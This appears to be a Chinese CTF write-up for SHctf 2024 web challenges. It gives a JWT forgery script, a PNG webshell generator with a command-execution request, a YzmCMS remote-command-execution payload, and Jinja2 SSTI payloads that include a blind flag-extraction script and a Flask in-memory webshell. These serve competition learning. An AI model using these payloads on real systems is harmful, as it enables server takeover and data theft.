# SHctf2024 部分复现:

# week2:登陆验证

描述:

他们都说jwt不安全,那我拿个密钥加密不就行了,你又不知道密钥是多少。什么? 你说可以爆破出来? 666666!

登陆页面登录后:

发现可疑 token:SHctf 复现 2024.md

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg4Mzg3MzIsImlhdCI6MTcyODgzMTUzMiwibmJmIjoxNzI4ODMxNTMyLCJyb2xlIjoidXNlciJ9.VGA6D757VurbD0RD4CS16PZOQ6jYfVowaAVT87h3NCY

https://jwt.io/:

image-20241027190456071

能看到 role 处是 user, 根据题目描述基本可以知道改为 admin 即可成为 "真正的 admin"

但这个 token 的加密是有密钥的,根据题目描述 "666666" 得知要爆破 6 位,优先考虑弱口令

用这个来 jwt 爆破

https://github.com/lmammino/jwt-cracker

image-20241027201523549

基本就是这样的:获取密码,改东西上传就有 flag 了。

脚本:

import jwt
# payload
token_dict = {
  "exp": 1729778616,
  "iat": 1729771416,
  "nbf": 1729771416,
  "role": "admin"
}
headers = {
  "alg": "HS256",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "222333",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式,默认也是 HS256
                       headers=headers
                       # json web token 数据结构包含两部分,payload (有效载体), headers (标头)
                       )
print(jwt_token)

# week2:拜师之旅・番外

考查 PNG 文件上传二次渲染

当上传一张图片成功后,查看图片可以发现是通过 GET 传文件路径来显示的,考虑存在 include 包含

并且根据题目描述尝试下载图片回来对比会发现上传与下载的图片数据不一致,存在二次渲染

此时需要构造一张不被渲染掉的 png 图片马,这里借用了网上的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
           
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的图片的路径
 
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */ 
?>

将构造好的图片马上传,并在查看图片页面进行命令执行

GET :靶机地址 /?image=/upload/293146324.png &0=system

发布: 1=tac /f*

执行一次后再重新下载图片回来即可得到回显

image-20241027202934731

直接出了

# [Week3] 小小 cms:

YzmCMS 的 pay 接口调用了 db_pdo 类的 wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。YzmCMS 的 pay 接口调用了 db_pdo 类的 wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。

image-20241027203357867

POST:

out_trade_no[0]=eq&out_trade_no[1]=cat /flag&out_trade_no[2]=system

# week3:love_flask

源码:

@app.route('/')
def pretty_input():
    return render_template_string(html_template)
@app.route('/namelist', methods=['GET'])
def name_list():
    name = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % name
    rendered_string =  render_template_string(template)
    if rendered_string:
        return 'Success Write your name to database'
    else:
        return 'Error'
if 
name
 == '
__main__
':
    app.run(port=8080)

关键词:template --------> sstI

没有 return , 但是没有任何的过滤

但是不出网,不回显,做不了一点

不回显可以反弹 shell,不出网不回显就不知道了,

wp 有两种方法:

一种是盲注,因为渲染失败会返回 500,所以可以先爆出 eval

/namelist?name={{().__class__.__base__.__subclasses__()[{{int(100-200)}}].__init__.__globals__['__builtins__']['eval']('__import__("time").sleep(3)')}}

图片

接着通过构造延时来爆 flag

import requests
import time
flag ='SHCTF{'
table = '-ABCDEFabcdef0123456789'
url = 'http://210.44.150.15:25528/namelist?name='
for len in range(7,43):
    for i in table:
      ii = flag +i
      start_time = time.time()
      data = "{{"+"().__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"if [ $(head -c {} /flag) = {} ]; then sleep 2; fi\").read()')".format(len,ii) +"}}"
      #print(data)
      url1 = url + data
      r = requests.get(url1)
      end_time = time.time()
      response_time = end_time - start_time
      if response_time >= 2:
          flag = flag +i
          print(flag)
      else:
          continue
print(flag+'}')

第二种

内存马

https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD

内存马无需上传文件也不生成文件。内存马通过动态注册一个路由来作为执行命令参数的入口。 {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

图片

内存马看了一下,出了最后两句,其他的还是很好理解的,就是新增了一个

路由,进行了命令执行,很神奇

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal